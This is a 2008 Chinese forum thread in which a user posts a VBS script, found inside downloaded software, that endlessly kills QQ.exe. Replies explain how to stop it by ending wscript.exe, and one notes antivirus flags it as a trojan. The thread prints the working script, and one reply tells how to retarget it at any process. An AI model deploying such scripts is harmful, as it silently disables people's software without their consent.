加载了个vbs，qq不能启动

evilrabbit

我下载个软件 有个vbs 程序 挺好奇的
双击后 QQ不能运行了
本人不是很懂脚本语言

以下是右键打开的vbs代码

dim bag,pipe,honker,good
do
good="."
set bag=getobject("winmgmts:\\"&good&"\root\cimv2")
set pipe=bag.execquery("select * from win32_process where name=’QQ.exe’")
for each i in pipe
i.terminate()
next
wscript.sleep 1
loop

望朋友帮忙解决

tanlimo

打开任务管理器或其它的进程管理器，找到wscript.exe进程然后结束掉就OK了。

这段脚本可以用来禁止某个程序的运行，将wscript.sleep 后面的值进行修改，例如1代表1毫秒结束一次你要结束的进程，select * from win32_process where name='QQ.exe'把这里的QQ.exe修改成其它的进程名就可以结束其它你想要结速的进程，因为这个脚本功能是由wscript.exe来执行的，所以结束wscript.exe进程就可以解决了

[ 本帖最后由 tanlimo 于 2008-8-11 21:27 编辑 ]

goldmonkey

似乎不断地循环 然后去延迟1毫秒

而且是死循环

？？？
这是什么程序啊

[ 本帖最后由 goldmonkey 于 2008-8-11 21:27 编辑 ]

tanlimo

就是不断的结束QQ.exe

goldmonkey

谁编的？这种稀奇古怪的方法倒是很好，

tank200706

刚刚用卡巴查了下，这窜代码有木马

2008/8/11 21:37:48        检测到: Trojan.VBS.Small.y        E:\进程结束.vbs

goldmonkey

怎么可能？？


卡巴也太小题大做了

evilrabbit

  卡巴报木马 搞笑了吧

skylzf

用DOS命令：
运行-CMD：taskkill /f /im wscript.exe或taskkill /f /im cscript.exe就行了。

[ 本帖最后由 skylzf 于 2008-8-30 15:49 编辑 ]